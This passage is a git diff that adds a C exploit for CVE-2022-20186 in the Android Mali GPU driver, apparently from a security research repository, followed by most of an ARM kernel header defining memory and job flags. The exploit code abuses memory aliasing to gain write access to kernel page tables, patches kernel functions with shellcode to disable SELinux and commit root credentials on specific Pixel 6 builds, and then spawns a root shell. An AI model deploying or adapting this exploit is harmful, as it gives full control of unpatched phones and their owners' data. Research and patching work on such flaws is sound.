+  uint64_t vpfn = addr >> PAGE_SHIFT;
+  vpfn >>= (3 - level) * 9;
+  return vpfn & 0x1FF;
+}
+
+void write_state(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
+  uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
+  uint64_t curr_overwrite_addr = 0;
+  for (int i = 0; i < size; i++) {
+    uint64_t base = reserved[i];
+    uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
+    uint64_t start_idx = compute_pt_index(base, 3);
+    uint64_t end_idx = compute_pt_index(end, 3);
+    for (uint64_t addr = base; addr < end; addr += 0x1000) {
+      uint64_t overwrite_addr = set_addr_lv3(addr);
+      if (curr_overwrite_addr != overwrite_addr) {
+        printf("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
+        curr_overwrite_addr = overwrite_addr;
+        write_to(mali_fd, overwrite_addr + func_offset, 0, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_8);
+        usleep(300000);
+      }
+    }
+  }
+}
+
+
+void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
+  uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
+  uint64_t curr_overwrite_addr = 0;
+  for (int i = 0; i < size; i++) {
+    uint64_t base = reserved[i];
+    uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
+    uint64_t start_idx = compute_pt_index(base, 3);
+    uint64_t end_idx = compute_pt_index(end, 3);
+    for (uint64_t addr = base; addr < end; addr += 0x1000) {
+      uint64_t overwrite_addr = set_addr_lv3(addr);
+      if (curr_overwrite_addr != overwrite_addr) {
+        printf("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
+        curr_overwrite_addr = overwrite_addr;
+        for (int code = code_size - 1; code >= 0; code--) {
+          write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
+        }
+        usleep(300000);
+      }
+    }
+  }
+}
+
+int run_enforce() {
+  char result = '2';
+  sleep(3);
+  int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+  read(enforce_fd, &result, 1);
+  close(enforce_fd);
+  printf("result %d\n", result);
+  return result;
+}
+
+void select_offset() {
+  char fingerprint[256];
+  int len = __system_property_get("ro.build.fingerprint", fingerprint);
+  printf("fingerprint: %s\n", fingerprint);
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) {
+    avc_deny = AVC_DENY_2108;
+    sel_read_enforce = SEL_READ_ENFORCE_2108;
+    fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) {
+    avc_deny = AVC_DENY_2201;
+    sel_read_enforce = SEL_READ_ENFORCE_2201;
+    fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) {
+    avc_deny = AVC_DENY_2202;
+    sel_read_enforce = SEL_READ_ENFORCE_2202;
+    fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202);
+    return;
+  }
+  err(1, "unable to match build id\n");
+}
+
+//Clean up pagetable
+void cleanup(int mali_fd, uint64_t gpu_va, uint64_t* reserved, size_t reserved_size) {
+  for (int i = 0; i < 2; i++) {
+    write_to(mali_fd, gpu_va + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+  }
+}
+
+int run_exploit() {
+  int mali_fd = open_dev(MALI);
+  uint64_t gpu_va[3] = {0};
+  uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];
+
+  setup_mali(mali_fd);
+
+  void* tracking_page = setup_tracking_page(mali_fd);
+  printf("tracking page %p\n", tracking_page);
+
+  //Allocate enough pages so the page free'd later will spill into the device pool
+  void* drain = drain_mem_pool(mali_fd);
+  printf("drain %p\n", drain);
+
+  //Regions for triggering the bug
+  for (int i = 0; i < 2; i++) {
+    void* region = map_gpu(mali_fd, 3, false, 1);
+    gpu_va[i] = (uint64_t)region;
+  }
+
+  union kbase_ioctl_mem_alias alias = {0};
+  alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+  alias.in.stride = 9223372036854775808ull + 1;
+
+  alias.in.nents = 2;
+  struct base_mem_aliasing_info ai[2];
+  ai[0].handle.basep.handle = gpu_va[0];
+  ai[1].handle.basep.handle = gpu_va[0];
+  ai[0].length = 0x3;
+  ai[1].length = 0x3;
+  ai[0].offset = 0;
+  ai[1].offset = 0;
+  alias.in.aliasing_info = (uint64_t)(&(ai[0]));
+  mem_alias(mali_fd, &alias);
+  void* region = mmap(NULL, 0x2000, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va);
+  if (region == MAP_FAILED) {
+    err(1, "mmap failed");
+  }
+
+  //allocate pages before we free the ones in allocated in drain, so that these won't be allocated from the device pool
+  reserve_pages(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+
+  printf("gpu_va[0] %lx\n", gpu_va[0]);
+  printf("gpu_va[1] %lx\n", gpu_va[1]);
+  printf("alias %p\n", region);
+  munmap(region, 0x2000);
+  //Free pages allocated in drain to fill the context pool. Now the context pool is full and subsequent free will return the pages to the device pool
+  release_mem_pool(drain);
+
+  //Free the doubling mapped page, the free'd pages will return to the device pool, some of which we will continue to hold a reference at gpu_va[1]
+  munmap((void*)(gpu_va[0]), 0x3000);
+
+  //Map the pages reserved earlier, the size will ensure that 2 new pgd at level 3 are needed, which will be allocated from the device pool (2 pages) One of
+  //these pages will be doubly mapped to gpu_va[1] + 0x1000
+  map_reserved(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+  uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  //Writing to gpu_va[1] will now overwrite the level 3 pgd in one of the reserved pages mapped earlier.
+  for (int i = 0; i < 2; i++) {
+    write_to(mali_fd, gpu_va[1] + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+  }
+
+  usleep(100000);
+  //Go through the reserve pages addresses to write to sel_read_enforce with our own shellcode
+  write_func(mali_fd, avc_deny, &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));
+
+  //Triggers avc_deny to disable SELinux
+  open("/dev/kmsg", O_RDONLY);
+
+  uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  //Writing to gpu_va[1] will now overwrite the level 3 pgd in one of the reserved pages mapped earlier.
+  for (int i = 0; i < 2; i++) {
+    write_to(mali_fd, gpu_va[1] + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+  }
+
+  //Call commit_creds to overwrite process credentials to gain root
+  write_func(mali_fd, sel_read_enforce, &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
+
+  run_enforce();
+
+  cleanup(mali_fd, gpu_va[1], &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE);
+  usleep(100000);
+
+  return 0;
+}
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+  
+  select_offset();
+
+  int ret = -1;
+  sleep(1);
+  ret = run_exploit();
+  if (!ret) system("sh");
+}
diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h
new file mode 100644
index 0000000..50a4e0c
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h
@@ -0,0 +1,1202 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_BASE_JM_KERNEL_H_
+#define _UAPI_BASE_JM_KERNEL_H_
+
+#include <linux/types.h>
+
+typedef __u32 base_mem_alloc_flags;
+/* Memory allocation, access/hint flags.
+ *
+ * See base_mem_alloc_flags.
+ */
+
+/* IN */
+/* Read access CPU side
+ */
+#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0)
+
+/* Write access CPU side
+ */
+#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1)
+
+/* Read access GPU side
+ */
+#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2)
+
+/* Write access GPU side
+ */
+#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3)
+
+/* Execute allowed on the GPU side
+ */
+#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4)
+
+/* Will be permanently mapped in kernel space.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5)
+
+/* The allocation will completely reside within the same 4GB chunk in the GPU
+ * virtual space.
+ * Since this flag is primarily required only for the TLS memory which will
+ * not be used to contain executable code and also not used for Tiler heap,
+ * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags.
+ */
+#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6)
+
+/* Userspace is not allowed to free this memory.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7)
+
+#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8)
+
+/* Grow backing store on GPU Page Fault
+ */
+#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9)
+
+/* Page coherence Outer shareable, if available
+ */
+#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10)
+
+/* Page coherence Inner shareable
+ */
+#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11)
+
+/* IN/OUT */
+/* Should be cached on the CPU, returned if actually cached
+ */
+#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12)
+
+/* IN/OUT */
+/* Must have same VA on both the GPU and the CPU
+ */
+#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13)
+
+/* OUT */
+/* Must call mmap to acquire a GPU address for the allocation
+ */
+#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14)
+
+/* IN */
+/* Page coherence Outer shareable, required.
+ */
+#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15)
+
+/* Protected memory
+ */
+#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16)
+
+/* Not needed physical memory
+ */
+#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17)
+
+/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the
+ * addresses to be the same
+ */
+#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18)
+
+/**
+ * Bit 19 is reserved.
+ *
+ * Do not remove, use the next unreserved bit for new flags
+ */
+#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19)
+
+/**
+ * Memory starting from the end of the initial commit is aligned to 'extension'
+ * pages, where 'extension' must be a power of 2 and no more than
+ * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20)
+
+/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu
+ * mode. Some components within the GPU might only be able to access memory
+ * that is GPU cacheable. Refer to the specific GPU implementation for more
+ * details. The 3 shareability flags will be ignored for GPU uncached memory.
+ * If used while importing USER_BUFFER type memory, then the import will fail
+ * if the memory is not aligned to GPU and CPU cache line width.
+ */
+#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21)
+
+/*
+ * Bits [22:25] for group_id (0~15).
+ *
+ * base_mem_group_id_set() should be used to pack a memory group ID into a
+ * base_mem_alloc_flags value instead of accessing the bits directly.
+ * base_mem_group_id_get() should be used to extract the memory group ID from
+ * a base_mem_alloc_flags value.
+ */
+#define BASEP_MEM_GROUP_ID_SHIFT 22
+#define BASE_MEM_GROUP_ID_MASK \
+	((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT)
+
+/* Must do CPU cache maintenance when imported memory is mapped/unmapped
+ * on GPU. Currently applicable to dma-buf type only.
+ */
+#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26)
+
+/* Use the GPU VA chosen by the kernel client */
+#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27)
+
+/* OUT */
+/* Kernel side cache sync ops required */
+#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28)
+
+/* Force trimming of JIT allocations when creating a new allocation */
+#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29)
+
+/* Number of bits used as flags for base memory management
+ *
+ * Must be kept in sync with the base_mem_alloc_flags flags
+ */
+#define BASE_MEM_FLAGS_NR_BITS 30
+
+/* A mask of all the flags which are only valid for allocations within kbase,
+ * and may not be passed from user space.
+ */
+#define BASEP_MEM_FLAGS_KERNEL_ONLY \
+	(BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \
+	 BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM)
+
+/* A mask for all output bits, excluding IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP
+
+/* A mask for all input bits, including IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_INPUT_MASK \
+	(((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK)
+
+/* A mask of all currently reserved flags
+ */
+#define BASE_MEM_FLAGS_RESERVED \
+	(BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19)
+
+#define BASEP_MEM_INVALID_HANDLE               (0ull  << 12)
+#define BASE_MEM_MMU_DUMP_HANDLE               (1ull  << 12)
+#define BASE_MEM_TRACE_BUFFER_HANDLE           (2ull  << 12)
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE     (4ull  << 12)
+/* reserved handles ..-47<<PAGE_SHIFT> for future special handles */
+#define BASE_MEM_COOKIE_BASE                   (64ul  << 12)
+#define BASE_MEM_FIRST_FREE_ADDRESS            ((BITS_PER_LONG << 12) + \
+						BASE_MEM_COOKIE_BASE)
+
+/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the
+ * initial commit is aligned to 'extension' pages, where 'extension' must be a power
+ * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP  (1 << 0)
+
+/**
+ * If set, the heap info address points to a __u32 holding the used size in bytes;
+ * otherwise it points to a __u64 holding the lowest address of unused memory.
+ */
+#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE  (1 << 1)
+
+/**
+ * Valid set of just-in-time memory allocation flags
+ *
+ * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr
+ * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set
+ * and heap_info_gpu_addr being 0 will be rejected).
+ */
+#define BASE_JIT_ALLOC_VALID_FLAGS \
+	(BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE)
+
+/**
+ * typedef base_context_create_flags - Flags to pass to ::base_context_init.
+ *
+ * Flags can be ORed together to enable multiple things.
+ *
+ * These share the same space as BASEP_CONTEXT_FLAG_*, and so must
+ * not collide with them.
+ */
+typedef __u32 base_context_create_flags;
+
+/* No flags set */
+#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0)
+
+/* Base context is embedded in a cctx object (flag used for CINSTR
+ * software counter macros)
+ */
+#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0)
+
+/* Base context is a 'System Monitor' context for Hardware counters.
+ *
+ * One important side effect of this is that job submission is disabled.
+ */
+#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \
+	((base_context_create_flags)1 << 1)
+
+/* Bit-shift used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3)
+
+/* Bitmask used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \
+	((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT)
+
+/* Bitpattern describing the base_context_create_flags that can be
+ * passed to the kernel
+ */
+#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \
+	(BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \
+	 BASEP_CONTEXT_MMU_GROUP_ID_MASK)
+
+/* Bitpattern describing the ::base_context_create_flags that can be
+ * passed to base_context_init()
+ */
+#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \
+	(BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS)
+
+/*
+ * Private flags used on the base context
+ *
+ * These start at bit 31, and run down to zero.
+ *
+ * They share the same space as base_context_create_flags, and so must
+ * not collide with them.
+ */
+
+/* Private flag tracking whether job descriptor dumping is disabled */
+#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \
+	((base_context_create_flags)(1 << 31))
+
+/* Enable additional tracepoints for latency measurements (TL_ATOM_READY,
+ * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST)
+ */
+#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0)
+
+/* Indicate that job dumping is enabled. This could affect certain timers
+ * to account for the performance impact.
+ */
+#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1)
+
+#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \
+		BASE_TLSTREAM_JOB_DUMPING_ENABLED)
+/*
+ * Dependency stuff, keep it private for now. May want to expose it if
+ * we decide to make the number of semaphores a configurable
+ * option.
+ */
+#define BASE_JD_ATOM_COUNT              256
+
+/* Maximum number of concurrent render passes.
+ */
+#define BASE_JD_RP_COUNT (256)
+
+/* Set/reset values for a software event */
+#define BASE_JD_SOFT_EVENT_SET             ((unsigned char)1)
+#define BASE_JD_SOFT_EVENT_RESET           ((unsigned char)0)
+
+/**
+ * struct base_jd_udata - Per-job data
+ *
+ * This structure is used to store per-job data, and is completely unused
+ * by the Base driver. It can be used to store things such as callback
+ * function pointer, data to handle job completion. It is guaranteed to be
+ * untouched by the Base driver.
+ *
+ * @blob: per-job data array
+ */
+struct base_jd_udata {
+	__u64 blob[2];
+};
+
+/**
+ * typedef base_jd_dep_type - Job dependency type.
+ *
+ * A flags field will be inserted into the atom structure to specify whether a
+ * dependency is a data or ordering dependency (by putting it before/after
+ * 'core_req' in the structure it should be possible to add without changing
+ * the structure size).
+ * When the flag is set for a particular dependency to signal that it is an
+ * ordering only dependency then errors will not be propagated.
+ */
+typedef __u8 base_jd_dep_type;
+
+#define BASE_JD_DEP_TYPE_INVALID  (0)       /**< Invalid dependency */
+#define BASE_JD_DEP_TYPE_DATA     (1U << 0) /**< Data dependency */
+#define BASE_JD_DEP_TYPE_ORDER    (1U << 1) /**< Order dependency */
+
+/**
+ * typedef base_jd_core_req - Job chain hardware requirements.
+ *
+ * A job chain must specify what GPU features it needs to allow the
+ * driver to schedule the job correctly.  By not specifying the
+ * correct settings can/will cause an early job termination.  Multiple
+ * values can be ORed together to specify multiple requirements.
+ * Special case is ::BASE_JD_REQ_DEP, which is used to express complex
+ * dependencies, and that doesn't execute anything on the hardware.
+ */
+typedef __u32 base_jd_core_req;
+
+/* Requirements that come from the HW */
+
+/* No requirement, dependency only
+ */
+#define BASE_JD_REQ_DEP ((base_jd_core_req)0)
+
+/* Requires fragment shaders
+ */
+#define BASE_JD_REQ_FS  ((base_jd_core_req)1 << 0)
+
+/* Requires compute shaders
+ *
+ * This covers any of the following GPU job types:
+ * - Vertex Shader Job
+ * - Geometry Shader Job
+ * - An actual Compute Shader Job
+ *
+ * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the
+ * job is specifically just the "Compute Shader" job type, and not the "Vertex
+ * Shader" nor the "Geometry Shader" job type.
+ */
+#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1)
+
+/* Requires tiling */
+#define BASE_JD_REQ_T  ((base_jd_core_req)1 << 2)
+
+/* Requires cache flushes */
+#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3)
+
+/* Requires value writeback */
+#define BASE_JD_REQ_V  ((base_jd_core_req)1 << 4)
+
+/* SW-only requirements - the HW does not expose these as part of the job slot
+ * capabilities
+ */
+
+/* Requires fragment job with AFBC encoding */
+#define BASE_JD_REQ_FS_AFBC  ((base_jd_core_req)1 << 13)
+
+/* SW-only requirement: coalesce completion events.
+ * If this bit is set then completion of this atom will not cause an event to
+ * be sent to userspace, whether successful or not; completion events will be
+ * deferred until an atom completes which does not have this bit set.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES.
+ */
+#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5)
+
+/* SW Only requirement: the job chain requires a coherent core group. We don't
+ * mind which coherent core group is used.
+ */
+#define BASE_JD_REQ_COHERENT_GROUP  ((base_jd_core_req)1 << 6)
+
+/* SW Only requirement: The performance counters should be enabled only when
+ * they are needed, to reduce power consumption.
+ */
+#define BASE_JD_REQ_PERMON               ((base_jd_core_req)1 << 7)
+
+/* SW Only requirement: External resources are referenced by this atom.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and
+ * BASE_JD_REQ_SOFT_EVENT_WAIT.
+ */
+#define BASE_JD_REQ_EXTERNAL_RESOURCES   ((base_jd_core_req)1 << 8)
+
+/* SW Only requirement: Software defined job. Jobs with this bit set will not be
+ * submitted to the hardware but will cause some action to happen within the
+ * driver
+ */
+#define BASE_JD_REQ_SOFT_JOB        ((base_jd_core_req)1 << 9)
+
+#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME      (BASE_JD_REQ_SOFT_JOB | 0x1)
+#define BASE_JD_REQ_SOFT_FENCE_TRIGGER          (BASE_JD_REQ_SOFT_JOB | 0x2)
+#define BASE_JD_REQ_SOFT_FENCE_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x3)
+
+/* 0x4 RESERVED for now */
+
+/* SW only requirement: event wait/trigger job.
+ *
+ * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set.
+ * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the
+ *   other waiting jobs. It completes immediately.
+ * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it
+ *   possible for other jobs to wait upon. It completes immediately.
+ */
+#define BASE_JD_REQ_SOFT_EVENT_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x5)
+#define BASE_JD_REQ_SOFT_EVENT_SET              (BASE_JD_REQ_SOFT_JOB | 0x6)
+#define BASE_JD_REQ_SOFT_EVENT_RESET            (BASE_JD_REQ_SOFT_JOB | 0x7)
+
+#define BASE_JD_REQ_SOFT_DEBUG_COPY             (BASE_JD_REQ_SOFT_JOB | 0x8)
+
+/* SW only requirement: Just In Time allocation
+ *
+ * This job requests a single or multiple just-in-time allocations through a
+ * list of base_jit_alloc_info structure which is passed via the jc element of
+ * the atom. The number of base_jit_alloc_info structures present in the
+ * list is passed via the nr_extres element of the atom
+ *
+ * It should be noted that the id entry in base_jit_alloc_info must not
+ * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE.
+ *
+ * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE
+ * soft job to free the JIT allocation is still made.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_ALLOC              (BASE_JD_REQ_SOFT_JOB | 0x9)
+
+/* SW only requirement: Just In Time free
+ *
+ * This job requests a single or multiple just-in-time allocations created by
+ * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time
+ * allocations is passed via the jc element of the atom.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_FREE               (BASE_JD_REQ_SOFT_JOB | 0xa)
+
+/* SW only requirement: Map external resource
+ *
+ * This job requests external resource(s) are mapped once the dependencies
+ * of the job have been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_MAP            (BASE_JD_REQ_SOFT_JOB | 0xb)
+
+/* SW only requirement: Unmap external resource
+ *
+ * This job requests external resource(s) are unmapped once the dependencies
+ * of the job has been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP          (BASE_JD_REQ_SOFT_JOB | 0xc)
+
+/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders)
+ *
+ * This indicates that the Job Chain contains GPU jobs of the 'Compute
+ * Shaders' type.
+ *
+ * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job
+ * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs.
+ */
+#define BASE_JD_REQ_ONLY_COMPUTE    ((base_jd_core_req)1 << 10)
+
+/* HW Requirement: Use the base_jd_atom::device_nr field to specify a
+ * particular core group
+ *
+ * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag
+ * takes priority
+ *
+ * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms.
+ *
+ * If the core availability policy is keeping the required core group turned
+ * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code.
+ */
+#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11)
+
+/* SW Flag: If this bit is set then the successful completion of this atom
+ * will not cause an event to be sent to userspace
+ */
+#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE   ((base_jd_core_req)1 << 12)
+
+/* SW Flag: If this bit is set then completion of this atom will not cause an
+ * event to be sent to userspace, whether successful or not.
+ */
+#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14)
+
+/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job starts which does not have this bit set or a job completes
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use
+ * if the CPU may have written to memory addressed by the job since the last job
+ * without this bit set was submitted.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15)
+
+/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job completes which does not have this bit set or a job starts
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use
+ * if the CPU may read from or partially overwrite memory addressed by the job
+ * before the next job without this bit set completes.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16)
+
+/* Request the atom be executed on a specific job slot.
+ *
+ * When this flag is specified, it takes precedence over any existing job slot
+ * selection logic.
+ */
+#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17)
+
+/* SW-only requirement: The atom is the start of a renderpass.
+ *
+ * If this bit is set then the job chain will be soft-stopped if it causes the
+ * GPU to write beyond the end of the physical pages backing the tiler heap, and
+ * committing more memory to the heap would exceed an internal threshold. It may
+ * be resumed after running one of the job chains attached to an atom with
+ * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be
